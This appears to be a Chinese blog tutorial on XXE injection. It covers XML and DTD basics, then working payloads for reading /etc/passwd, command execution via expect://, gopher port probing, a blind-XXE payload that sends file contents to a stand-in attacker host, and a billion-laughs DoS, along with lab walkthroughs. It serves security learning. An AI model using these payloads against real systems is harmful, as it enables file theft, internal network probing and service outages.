XML外部实体(XXE)
XML外部实体(XXE)
-
XXE前传—初识XML
-
概述
-
可扩展标记语言(eXtensible Markup Language),用于存储,传输,交换数据,通过自定义标签描述数据结构,具有平台无关性、自描述性和可扩展性,广泛应用于配置文件、数据交换、Web 服务等场景
-
-
基本结构
-
<?xml version="1.0" encoding="UTF-8"?> <!-- XML声明(可选) --> <root> <!-- 根元素(必须唯一) --> <book name="如何让富婆爱上我"> <!-- 元素(标签需闭合) --> <title>自我美丽</title> <!-- 文本内容 --> <author>fr</author> <price>66.66</price> <number>00-000000</number> </book> </root> -
根标签只能有一个(
<root>),子属性可以有多个,且可以嵌套使用,但要注意闭合(<book>)<?xml version="1.0" encoding="UTF-8"?> <books> <book name="30天成就自己"> <price>12</price> </book> <book name="60天超越自己"> <price>24</price> </book> </books>
-
-
语法规则
-
头部声明
-
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> -
version:XML 版本(必须为1.0或1.1,默认1.0) -
encoding:字符编码(如UTF-8、ISO-8859-1,默认UTF-8) -
standalone:是否独立(yes无需外部依赖,no需引用外部文件)
-
-
元素(标签)
- 必须有开始标签(
<tag>)和结束标签(</tag>),或自闭合(<tag/>) - 标签名称区分大小写(如
<Title>和<title>是不同元素) - 嵌套必须正确闭合,不能交叉(如
<a><b></a></b>错误,应为<a><b></b></a>)
- 必须有开始标签(
-
属性
-
用于描述元素特性,格式为
属性名="属性值",值必须用引号(单 / 双均可,但需统一)<book name="90天创造奇迹" id="1000">
-
-
转义字符
-
特殊字符 含义 转义实体 <小于号 <>大于号 >&和号 &"双引号 "'单引号 ' -
小于号(
<):在 XML 中,<用于开始一个标签。若文本内容里包含<,XML 解析器会把它误认成标签的开始,从而引发解析错误。所以要将进行转义 -
大于号(
>):>用于结束一个标签。当文本内容包含>时,为避免解析器混淆,所以要将进行转义 -
和号(
&):&在 XML 里用于引入转义实体。若文本内容中有&,解析器会尝试把它后面的字符当作转义实体来解析,进而可能出错。所以要将进行转义 -
双引号(
"):双引号常被用于界定属性值。要是属性值中包含双引号,所以要将进行转义 -
单引号(
'):单引号同样可用于界定属性值。当属性值包含单引号时,所以要将进行转义 -
实例
<?xml version="1.0" encoding="UTF-8"?> <message> <content>这是一段包含特殊字符的文本:<、>、&、"、'</content> <attribute value="属性值中包含 "双引号" 和 '单引号'">示例属性</attribute> </message> -
value是attribute元素的一个属性,属性能够为元素补充额外的描述信息。这里value属性的值为属性值中包含 "双引号" 和 '单引号'
-
-
CDATA节
-
用于包含原始字符数据的特殊语法结构,其中的内容会被 XML 解析器视为普通文本,而不会进行标签解析或转义处理,如果不想对内容进行转义,可以使用CDATA节进行包裹
-
<description> <![CDATA[ 这是一段包含特殊符号的文本:<example>&sample</example> ]]> </description>上述代码中,
<example>和&sample不会被解析,而是作为原始文本保留 -
使用场景
-
当 XML 元素需要嵌入 HTML 代码(如富文本内容)时,使用 CDATA 节避免解析冲突
<content> <![CDATA[ <p>这是一段HTML文本,包含<div>标签和&符号</div> ]]> </content> -
在 XML 配置文件中嵌入脚本时,CDATA 节可保留代码格式
<script> <![CDATA[ function example() { console.log("Hello, CDATA!"); } ]]> </script> -
如诗歌、代码示例、配置参数等需要严格保留换行和特殊符号的内容
<code> <![CDATA[ if (x < y && y > z) { // 这里包含<、>、&符号 } ]]> </code>
-
-
-
-
DTD(文档类型定义)
-
作用
- 验证文档结构:DTD 可以验证 XML 文档是否符合预先定义的结构规则。如果一个 XML 文档引用了某个 DTD,那么该文档必须遵循 DTD 中规定的元素和属性的使用规则,否则将被视为无效文档
- 提高数据可读性:通过定义元素和属性的含义和使用规则,DTD 可以使 XML 文档的结构更加清晰,提高文档的可读性和可维护性
- 促进数据交换:在不同系统之间进行数据交换时,DTD 可以作为一种标准,确保双方对数据的结构和含义有一致的理解
-
语法结构
-
内部 DTD
-
直接嵌入在 XML 文档中,通常位于 XML 声明之后、根元素之前,语法格式如下
<!DOCTYPE 根元素名称 [ <!-- 元素声明 --> <!ELEMENT 元素名称 (元素内容)> <!-- 属性声明 --> <!ATTLIST 元素名称 属性名称 属性类型 属性默认值> <!-- 实体声明 --> <!ENTITY 实体名称 "实体内容"> ]> -
例如
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE bookstore [ <!ELEMENT bookstore (book+)> <!ELEMENT book (title, author, price)> <!ELEMENT title (#PCDATA)> <!ELEMENT author (#PCDATA)> <!ELEMENT price (#PCDATA)> <!ATTLIST book category CDATA #IMPLIED> ]> <bookstore> <book category="fiction"> <title>Harry Potter</title> <author>J.K. Rowling</author> <price>29.99</price> </book> </bookstore>DTD 定义了
bookstore元素可以包含一个或多个book元素,book元素包含title、author和price子元素,并且book元素有一个可选的category属性
-
-
外部DTD
-
外部 DTD 是一个独立的文件,XML 文档可以通过引用该文件来使用 DTD 定义的规则,语法格式如下
<!DOCTYPE 根元素名称 SYSTEM "DTD 文件的 URL"> -
例如
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE bookstore SYSTEM "bookstore.dtd"> <bookstore> <book category="fiction"> <title>Harry Potter</title> <author>J.K. Rowling</author> <price>29.99</price> </book> </bookstore>其中,
bookstore.dtd是一个独立的 DTD 文件,其内容可以如下<!ELEMENT bookstore (book+)> <!ELEMENT book (title, author, price)> <!ELEMENT title (#PCDATA)> <!ELEMENT author (#PCDATA)> <!ELEMENT price (#PCDATA)> <!ATTLIST book category CDATA #IMPLIED>
-
-
-
-
-
XXE的前世今生
-
什么是XEE
- XEE(XML External Entity Injection,XML 外部实体注入)是一种针对解析 XML 输入的应用程序的安全漏洞。在 XML 中,外部实体允许引用外部资源,如文件或网络 URL。攻击者利用此特性,通过构造恶意的 XML 输入,诱使应用程序解析包含恶意外部实体引用的 XML 数据,从而实现读取敏感文件、执行远程请求、发起拒绝服务攻击等目的
-
原理
-
XML 解析器通常支持外部实体引用,允许在 DTD(文档类型定义)中定义外部实体。攻击者可以在提交的 XML 数据中插入恶意的外部实体定义,当应用程序解析该 XML 时,会尝试加载并解析外部实体所引用的资源,从而导致安全问题
-
示例
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY ext SYSTEM "file:///etc/passwd"> ]> <root>&ext;</root>在这个示例中,定义了一个名为
ext的外部实体,其引用的资源是本地文件/etc/passwd(在 Linux 系统中存储用户账户信息)。当应用程序解析这个 XML 时,如果没有正确处理外部实体引用,就会读取并返回/etc/passwd文件的内容 -
SYSTEM关键字用于指定一个外部的 DTD 文件或其他外部资源的位置。当 XML 解析器遇到SYSTEM关键字时,会根据其后指定的 URL 去查找并加载相应的资源
-
-
常用协议
-
file:// 协议
-
用于访问本地文件系统中的文件,攻击者借此能读取系统上的敏感文件,像配置文件、用户信息文件等
-
示例
<!DOCTYPE root [ <!ENTITY ext SYSTEM "file:///etc/passwd"> ]>在 Linux 系统里,此代码可让攻击者读取
/etc/passwd文件,该文件存储着用户账户信息。在 Windows 系统中,可使用file:///C:/Windows/System32/drivers/etc/hosts来读取hosts文件
-
-
http 和 https 协议
-
可使受攻击的应用程序向指定的远程服务器发起 HTTP 或 HTTPS 请求。攻击者通过此方式可实现信息泄露、与外部服务器通信,还能触发服务器端对其他资源的请求
-
示例
<!DOCTYPE root [ <!ENTITY ext SYSTEM "http://attacker.com/malicious"> ]>当应用程序解析此 XML 时,会向
http://attacker.com/malicious发起请求,攻击者就能借此获取应用程序的内部信息,或者诱导应用程序执行恶意操作
-
-
ftp 协议
-
用于访问 FTP 服务器上的文件。攻击者可利用此协议从 FTP 服务器下载文件,或者上传恶意文件到 FTP 服务器
-
示例
<!DOCTYPE root [ <!ENTITY ext SYSTEM "ftp://ftp.example.com/path/to/file.txt"> ]>此代码会让应用程序尝试从指定的 FTP 服务器下载
file.txt文件
-
-
expect:// 协议
-
当应用程序解析包含
expect://协议的 XML 外部实体时,它会把实体引用里的内容当作系统命令来执行 -
示例
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY cmd SYSTEM "expect://id"> ]> <root>&cmd;</root>定义了一个名为
cmd的外部实体,其引用的资源是expect://id。id是 Unix 系统下用于显示用户身份信息的命令。当应用程序解析这个 XML 时,就会执行id命令,并且可能把命令的执行结果包含在 XML 响应中返回给攻击者 -
expect是 Unix 系统下用于自动化交互式任务的工具,因此目标系统必须是基于 Unix 或类 Unix(如 Linux、macOS)的系统,并且已经安装了expect工具。如果目标系统不支持expect,那么使用expect://协议的攻击将无法成功
-
-
gopher:// 协议
-
gopher 协议是一种早期的互联网协议,可用于与各种服务进行交互。攻击者利用该协议能构造复杂的请求,对目标系统发起攻击,例如攻击内部的服务端口
-
示例
<!DOCTYPE root [ <!ENTITY gophertest SYSTEM "gopher://127.0.0.1:80/_GET%20/%20HTTP/1.1%0AHost:%20example.com%0A%0A"> ]> <root>&gophertest;</root>此示例会让应用程序向本地的 80 端口发送一个 HTTP GET 请求,攻击者可借此探测内部网络的服务情况
-
-
jar:// 协议
-
用于访问 Java ARchive(JAR)文件中的资源。在基于 Java 的应用程序中,攻击者可利用此协议读取 JAR 文件内的敏感信息
-
示例
<!DOCTYPE root [ <!ENTITY jarfile SYSTEM "jar:file:///path/to/file.jar!/META-INF/MANIFEST.MF"> ]> <root>&jarfile;</root>该代码会让应用程序尝试读取指定 JAR 文件中的
MANIFEST.MF文件
-
-
php:// 协议
-
在 PHP 环境中,
php://协议提供了多种访问方式,攻击者可利用它执行代码、读取文件等 -
示例
<!DOCTYPE root [ <!ENTITY phpcode SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> ]> <root>&phpcode;</root>此代码会将
/etc/passwd文件的内容进行 Base64 编码后返回
-
-
-
前提条件
-
系统使用XML解析器处理用户的输入
- 目标应用程序接收并解析 XML 格式的输入数据。例如通过 HTTP 请求体(如
Content-Type: application/xml)、文件上传(如 XML 文件)或 API 接口(如 SOAP 协议)处理 XML
- 目标应用程序接收并解析 XML 格式的输入数据。例如通过 HTTP 请求体(如
-
XML 解析器支持外部实体(未禁用 DTD 或外部实体解析)
- 解析器未禁用 DTD(文档类型定义) 或外部实体加载功能。例如,解析器默认允许加载外部实体(如
<!DOCTYPE>声明中的SYSTEM或PUBLIC实体)
- 解析器未禁用 DTD(文档类型定义) 或外部实体加载功能。例如,解析器默认允许加载外部实体(如
-
用户可控的 XML 输入点
- 攻击者能够控制 XML 内容的部分或全部,例如通过表单提交、URL 参数、请求头或文件内容注入恶意 XML 数据
-
-
一般步骤
-
发现xml输入点
- 通过分析目标系统的 API 文档、抓包工具(如 Burp Suite)或页面源码,确定接收 XML 输入的接口(如
Content-Type: application/xml的 POST 请求、SOAP 服务端点、XML 文件上传功能) - 一般场景:
- Web 服务(SOAP、RESTful 接口接受 XML 格式)。
- 配置文件上传(如用户自定义 XML 配置)。
- 表单提交(隐藏的 XML 数据字段)
- 通过分析目标系统的 API 文档、抓包工具(如 Burp Suite)或页面源码,确定接收 XML 输入的接口(如
-
确认解析器支持外部实体
- 发送包含简单
<!DOCTYPE>声明的 XML,观察解析器是否报错。若解析器接受并处理 DTD,说明可能支持外部实体
- 发送包含简单
-
构造恶意 XML payload
-
基础构造
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!-- 定义外部实体 --> <!ENTITY 实体名 SYSTEM "协议://资源路径"> ]> <root>&实体名;</root> -
<!DOCTYPE>声明:开启 DTD 解析,允许定义外部实体 -
<!ENTITY>标签:通过SYSTEM或PUBLIC关键字引用外部资源(如文件、网络地址、命令)
-
-
协议选择
-
文件读取
<!ENTITY file SYSTEM "file:///etc/passwd"> <!-- Linux 敏感文件 --> <!ENTITY file SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts"> <!-- Windows hosts 文件 --> -
内网端口探测
<!ENTITY port SYSTEM "gopher://192.168.1.100:80/_HTTP%20GET%20/%20HTTP/1.1%0AHost:%20target.com"> <!-- 构造 HTTP 请求探测端口 -->- 目标地址和端口
192.168.1.100:80:指定了要探测的内网主机 IP 地址和端口号,这里表示尝试与 IP 为192.168.1.100的主机的 80 端口建立连接 - 请求内容
_HTTP%20GET%20/%20HTTP/1.1%0AHost:%20target.com:这是经过 URL 编码后的 HTTP 请求内容。解码后为HTTP GET / HTTP/1.1\nHost: target.com,这是一个标准的 HTTP GET 请求,用于请求目标主机的根路径资源
- 目标地址和端口
-
命令执行(Unix环境,Linux环境)
-
<!ENTITY cmd SYSTEM "expect://id"> <!-- 执行系统命令 id -->
-
-
-
-
-
XXE实战
-
XEE-pikachu
-
进入靶场,发现是一个简单的提交框,提示是接收xml数据的,当然,真正情况下,肯定是不会这么明显表达出来的,所以还是按照基本步骤走一下
![屏幕截图 2025-04-28 102137]()
-
随便输入数据,抓包查看,然后发送至重发模块。可以发现支持XML,并且通过POST传参来提交xml数据
![屏幕截图 2025-04-28 102723]()
![屏幕截图 2025-04-28 102629]()
![屏幕截图 2025-04-28 102932]()
-
验证是否支持外部实体,payload如下
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE root [ <!ENTITY xxe "支持哦"> ]> <root>&xxe;</root> -
可以发现并没有禁用外部实体
![屏幕截图 2025-04-28 105618]()
-
为了验证是否成功,我们在D盘自己创建一个文件,内容如下
![屏幕截图 2025-04-28 112131]()
-
那么直接构造payload,读取文件
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///D:/flag.txt"> ]> <root>&xxe;</root> -
最后在提交框进行提交,发现成功回显内容
![屏幕截图 2025-04-28 112535]()
-
当然,你也可以根据上面的可以利用的协议自行尝试其他,这里不再赘述,如果你使用的是BP,记得进行URL编码后再提交,如下
![屏幕截图 2025-04-28 112958]()
-
-
xxe-lab
- 进入靶场,可以发现这是一个简单的登录页面,本次主题在xxe,于是直奔主题,还是老一套步骤
![屏幕截图 2025-04-28 160627]()
- 抓包查看,发现可以解析xml,并且是POST传参
![屏幕截图 2025-04-28 160906]()
- 那么下一步就是验证是否开启了允许外部实体,构造之后发现成功解析了外部实体,那么接下来就可以自己构造其他想要攻击的语句,由于和上一个例题差不多,这里便不再赘述
![屏幕截图 2025-04-28 161146]()
- 进入靶场,可以发现这是一个简单的登录页面,本次主题在xxe,于是直奔主题,还是老一套步骤
-
-
XXE盲打
-
奔走于多个靶场,都未找到与此有关的,于是在这给出大致思路
-
当服务器解析xml但不回显时,可以使用盲XXE
-
payload示例
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>"> %eval; %exfiltrate; <!-- 其中%作用与&一样,表示实体参数--> -
解释
- 定义名为
file的 XML 参数实体,包含/etc/passwd文件的内容,接着定义名为eval的 XML 参数实体,其中包含另一个名为exfiltrate的 XML 参数实体的动态声明,向攻击者的网络服务器发出 HTTP 请求时,会对exfiltrate实体进行评估,该请求在 URL 查询字符串中包含file实体的值,从而实现敏感数据的外泄
- 定义名为
-
-
错误的XXE(Dos攻击)
-
攻击者可以构造恶意的 XML 输入,使 XML 解析器在处理过程中发生错误,而这些错误信息可能包含服务器上的敏感信息,如文件路径、系统配置等
-
payload示例
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!-- 以此类推,继续定义更多的实体,形成指数级膨胀 --> ]> <lolz>&loln;</lolz> -
解释
- 构造一个指数级膨胀的实体,导致解析器耗尽资源,引发 DoS 攻击,同时可能在错误信息中泄露敏感数据
-
免责声明:所分享的仅用于学习,若有他人用于非法途径,与本人无关,同时,若有错误,还请不吝指出,轻点喷












浙公网安备 33010602011771号